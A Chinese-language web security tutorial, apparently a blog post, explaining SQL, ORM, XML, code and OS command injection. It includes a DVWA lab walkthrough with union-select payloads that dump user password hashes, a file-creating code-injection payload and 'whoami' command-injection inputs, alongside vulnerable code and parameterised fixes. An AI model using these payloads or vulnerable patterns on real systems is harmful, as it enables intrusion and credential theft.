• 注入攻击


            注入攻击是Web安全领域中一种最为常见的攻击方式。XSS本质上也是一种针对HTML的注入攻击。注入攻击的本质,是把用户输入的数据当做代码执行。这里有两个关键条件,第一个是用户能够控制输入;第二个是原本程序要执行的代码,拼接了用户输入的数据。 解决注入攻击的核心思想:“数据与代码分离”原则。

    1、SQL注入(SQL Injection) 

    原因: 

    在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下:

    • 在应用程序中使用字符串联结方式或联合查询方式组合SQL指令。
    • 在应用程序链接数据库时使用权限过大的账户(例如很多开发人员都喜欢用最高权限的系统管理员账户连接数据库)。
    • 太过于信任用户所输入的资料,未限制输入的特殊字符,以及未对用户输入的资料做潜在指令的检查。

    OWASP靶机平台:192.168.200.100 登录用户信息以及访问的URL信息,会在该虚拟机启动时显示。

    1.1、SQL盲注

            所谓“盲注 ”,就是在服务器没有错误回显时完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”,所以攻击者必须找到一个方法来验证注入的SQL语句是否得到执行。

    最常见的盲注验证方法是,构造简单的条件语句,根据返回页面是否发生变化,来判断SQL语句是否得到执行。比如在DVWA靶机平台,输入1’ and 1=1#显示存在,输入1’ and 1=2# 显示不存在,由此可立即判断漏洞存在。

     

    1.2、 猜解数据库

    (1)先输入 1 ,查看回显 (URL中ID=1,说明页面通过get方法传递参数):

    http://192.168.200.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

    //源代码
    $getid = "SELECT first_name, last_name FROM users WHERE
    user_id = '$id'"; 

    (2)输入 1' order by 1# 和 1' order by 2# 时都返回正常,当输入 1' orderby 3#时,返回错误:

    Unknown column '3' in 'order clause'

    (3)使用 union select联合查询继续获取信息

            union 运算符可以将两个或两个以上 select 语句的查询结果集合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为 2。

    输入1' union select database(),user()# 进行查询 :

    • database()将会返回当前网站所使用的数据库名字
    • user()将会返回执行当前查询的用户名

    # 输入框
    1' union select database(),user()#'
    # 生成SQL
    SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#'

    ID: 1' union select database(),user()#'
    First name: admin
    Surname: admin
    ID: 1' union select database(),user()#'
    First name: dvwa
    Surname: dvwa@localhost

    通过上图返回信息,我们成功获取到:

    • 当前网站使用数据库为 dvwa
    • 当前执行查询用户名为 root@localhost

    (4)同理我们再输入 1' union select version(),@@version_compile_os# 进行查询:

    # 输入框
    1' union select version(),@@version_compile_os#
    # 生成SQL
    SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#

    • version() 获取当前数据库版本.
    • @@version_compile_os 获取当前操作系统。

    ID: 1' union select version(),@@version_compile_os#
    First name: admin
    Surname: admin
    ID: 1' union select version(),@@version_compile_os#
    First name: 5.1.41-3ubuntu12.6-log
    Surname: debian-linux-gnu

    (5)接下来我们尝试获取 dvwa 数据库中的表名。information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息:如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

    # 输入框
    1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
    # 生成SQL
    SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

    结果:

    ID: 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
    First name: admin
    Surname: admin
    ID: 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
    First name: guestbook
    Surname: dvwa
    ID: 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
    First name: users
    Surname: dvwa

    通过上图返回信息,我们再获取到:

    • dvwa 数据库有两个数据表,分别是 guestbook 和 users

    (6)尝试获取重量级的用户名、密码

    由经验我们可以大胆猜测users表的字段为 user 和 password ,所以输入:1' union select user,password from users# 进行查询:

    # 输入框
    1' union select user,password from users#
    # 生成SQL
    SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#

    ID: 1' union select user,password from users#
    First name: admin
    Surname: admin
    ID: 1' union select user,password from users#
    First name: admin
    Surname: 21232f297a57a5a743894a0e4a801fc3
    ID: 1' union select user,password from users#
    First name: gordonb
    Surname: e99a18c428cb38d5f260853678922e03
    ID: 1' union select user,password from users#
    First name: 1337
    Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
    ID: 1' union select user,password from users#
    First name: pablo
    Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
    ID: 1' union select user,password from users#
    First name: smithy
    Surname: 5f4dcc3b5aa765d61d8327deb882cf99
    ID: 1' union select user,password from users#
    First name: user
    Surname: ee11cbb19052e40b07aac0ca060c23ee

    可以看到成功爆出用户名、密码,密码采用 MD5进行加密,可以到www.cmd5.com进行解密。

    1.3、ORM注入

    Mybatis:

    (1) Java生态中很常用的持久层框架Mybatis就能很好的完成对SQL注入的预防,如下两个mapper文件,前者就可以预防,而后者不行。

    ${ }:单纯替代,纯粹的将参数传进去,没有做任何的转义操作和预编译。

    1. <select id="selectByNameAndPassword"
    2. parameterType="java.util.Map" resultMap="BaseResultMap">
    3. select id, username, password, role
    4. from user
    5. where username = #{username,jdbcType=VARCHAR}
    6. and password = #{password,jdbcType=VARCHAR}
    7. select>
    8. <select id="selectByNameAndPassword"
    9. parameterType="java.util.Map" resultMap="BaseResultMap">
    10. select id, username, password, role
    11. from user
    12. where username = ${username,jdbcType=VARCHAR}
    13. and password = ${password,jdbcType=VARCHAR}
    14. select>

    #{ }:Mybatis会通过预编译机制生成PreparedStatement参数,然后在安全的给参数进行赋值操作

    1. <select id="getPerson" parameterType="string"
    2. resultType="org.application.vo.Person">
    3. SELECT * FROM PERSON WHERE NAME = #{name} AND PHONE LIKE '${phone}';
    4. select>

    首先,这是一种不全的用法,注意上面的参数修符号${phone} ,使用${}参数占位修饰符,MyBatis不会对字符串做任何修改,而是直接插入到SQL语句中。

    Hibernate:

    1. usernameString//前台输入的用户名
    2. passwordString//前台输入的密码
    3. //hql语句
    4. String queryString = "from User t where t.username= " + usernameString + " and t.password="+ passwordString;
    5. //执行查询
    6. List result = session.createQuery(queryString).list();

    建议使用参数绑定:named parameter:

    1. usernameString // 前台输入的用户名
    2. passwordString // 前台输入的密码
    3. // hql语句
    4. String queryString = "from User t where t.username:usernameString and t.password:passwordString";
    5. // 执行查询
    6. List result=session.createQuery(queryString)
    7. .setString("usernameString ", usernameString)
    8. .setString("passwordString", passwordString)
    9. .list();

    positional parameter:

    1. usernameString//前台输入的用户名
    2. passwordString//前台输入的密码
    3. //hql语句
    4. String queryString = "from User t where t.username=? and t.password=?";
    5. //执行查询
    6. List result = session.createQuery(queryString)
    7. .setString(0, usernameString )
    8. .setString(1, passwordString)
    9. .list();

    JDBC:

    1. Connection conn = DriverManager.getConnection(url,user,password);
    2. String sql = "select * from product where name like '%" + request.getParameter("pname")+"%''" ;
    3. Statement statement = conn.createStatement();
    4. ResultSet rs = stat.executeQuery(sql);

    解决方案:

            使用预处理执行SQL语句,对所有传入SQL语句中的变量做绑定,这样用户拼接进来的变量无论内容是什么,都会被当做替代符号 “ ?”所替代的值,数据库也不会把恶意用户拼接进来的数据,当做部分SQL语句去解析。

            无论使用了哪个ORM框架,都会支持用户自定义拼接语句,经常有人误解Hibernate,其实Hibernate也支持用户执行JDBC查询,并且支持用户把变量拼接到SQL语句中。

    2、XML注入(XML injection)

    XML注入是将用户录入的信息作为XML节点。

            除了SQL注入外,在Web安全领域还有其他的注入攻击,这些注入攻击都有相同的特点,就是应用违背了 “数据与代码分离”原则。

            和 SQL 注入原理一样,XML 是存储数据的地方,如果在查询或修改时,如果没有做转义,直接输入或输出数据,都将导致 XML 注入漏洞。攻击者可以修改XML 数据格式,增加新的 XML 节点,对数据处理流程产生影响。如果用户构造了恶意输入数据,就有可能形成注入攻击。

    1. // userData是准备保存的XML数据,接受了name和email两个用户提交的数据
    2. String userData = ""+
    3. ""+
    4. request.getParameter("name")+
    5. ""+
    6. ""+
    7. request.getParameter("email")+
    8. ""
    9. ""
    10. // 保存XML数据
    11. userDao.save(userData);

    比如用户输入的数据如下:

    1. user1
    2. user1@lagou.comemail>USER><USER><name>user2name>
    3. <email>user2@lagou.com

    最终生成的XML文件里被插入一条数据:

    1. <USER>
    2. <name>user1name>
    3. <email>user1@lagou.comemail>
    4. USER>
    5. <USER>
    6. <name>user2name>
    7. <email>user2@lagou.comemail>
    8. USER>

    XML注入,也需要满足注入攻击的两大条件:

    • 用户能控制数据的输入;
    • 程序直接拼凑了数据。

            在修补方案上,与HTML注入的修补方案也是类似的,在XML保存和展示前,对数据部分,单独做XML escape,如下所示:

    1. String userData = ""+
    2. "name>"+StringUtil.xmlEncode(request.getParameter("name"))+
    3. ""+
    4. ""+
    5. StringUtil.xmlEncode(request.getParameter("email"))+
    6. ""+
    7. "";

    转义规则

    lt         -         <
    gt        -         >
    amp    -         &
    apos   -         \'
    quot    -        "

    3、代码注入(Code injection)

            Code injection,代码注入攻击。web 应用代码中,允许接收用户输入一段代码,之后在 web 应用服务器上执行这段代码,并返回给用户。由于用户可以自定义输入一段代码,在服务器上执行,所以恶意用户可以写一个远程控制木马,直接获取服务器控制权限,所有服务器上的资源都会被恶意用户获取和修改,甚至可以直接控制数据库。代码注入比较特别一点。

    代码注入往往是由一些不安全的函数或者方法引起的,其中的典型代表就是eval()

    1. public static void main(String[] args) {
    2. // 在Java中也可以实施代码注入,比如利用Java的脚本引擎。
    3. ScriptEngineManager manager = new ScriptEngineManager();
    4. // 获得JS引擎对象
    5. ScriptEngine engine = manager.getEngineByName("JavaScript");
    6. try {
    7. // 用户录入
    8. String param = "hello";
    9. String command = "print('" + param + "')";
    10. // 调用JS中的eval方法
    11. engine.eval(command);
    12. } catch (ScriptException e) {
    13. e.printStackTrace();
    14. }
    15. }

    参数param的值由用户指定并传入,攻击者可以提交如下数据:

    hello'); var fImport = new JavaImporter(java.io.File);
    with(fImport) { var f = new File('new'); f.createNewFile(); }

    解决方案:

            对抗代码注入,需要禁止使用eval()等可以执行命令的函数,如果一定要使用这些函数,则需要对用户的输入数据进行处理。比如:执行代码的参数,或文件名,禁止和用户输入相关,只能由开发人员定义代码内容,用户只能提交 “1、2、3” 参数,代表相应代码。

            代码注入往往是由于不安全的编程习惯所造成的,危险函数应该尽量避免在开发中使用,可以在开发规范中明确指出哪些函数是禁止使用的。

    4、OS命令注入

            OS命令注入(Operating System Command injection 操作系统命令注入或简称命令注入)是一种注入漏洞。攻击者注入的有效负载将作为操作系统命令执行。仅当Web应用程序代码包括操作系统调用并且调用中使用了用户输入时,才可能进行OS命令注入攻击。 

            当您确定了OS命令注入漏洞后,通常可以执行一些初始命令来获取有关受到破坏的系统的信息。以下是在Linux和Windows平台上有用的一些命令的摘要:

            比如应用程序的开发人员希望用户能够在Web应用程序中查看Windows ping命令的输出。用户需要输入IP地址,然后应用程序将ICMP ping发送到该地址。不幸的是,开发人员过分信任用户,并且不执行输入验证。使用该GET 方法传递IP地址,然后在命令行中使用。 

    127.0.0.1

    127.0.0.1 && whoami

    127.0.0.1 && ps -ef

    防护方案:

            到目前为止,防止OS命令注入漏洞的最有效方法是永远不要从应用程序层代码中调用OS命令。几乎在每种情况下,都有使用更安全的平台API来实现所需功能的替代方法。如果认为无法通过用户提供的输入调出OS命令,则必须执行强大的输入验证。有效验证的一些示例包括:

    • 根据允许值的白名单进行验证。
    • 验证输入是否为数字。
    • 验证输入仅包含字母数字字符,不包含其他语法或空格。
  • 相关阅读:
    亚马逊计划向开创性的人工智能初创公司Anthropic投资高达4亿美元
    TFT-LCD屏幕显示图片
    为什么软考通过率很低?如何解决?
    Hudi第三章:集成Flink
    Vscode启动uniapp项目报错
    uni-app--》基于小程序开发的电商平台项目实战(一)
    Spinnaker调用Jenkins API 返回403错误
    求各区域热门商品Top3 - HiveSQL
    使用 wxPython 在 Windows 11 中实现任务栏通知功能
    在MAUI中使用Masa Blazor
  • 原文地址:https://blog.csdn.net/weixin_52851967/article/details/126012846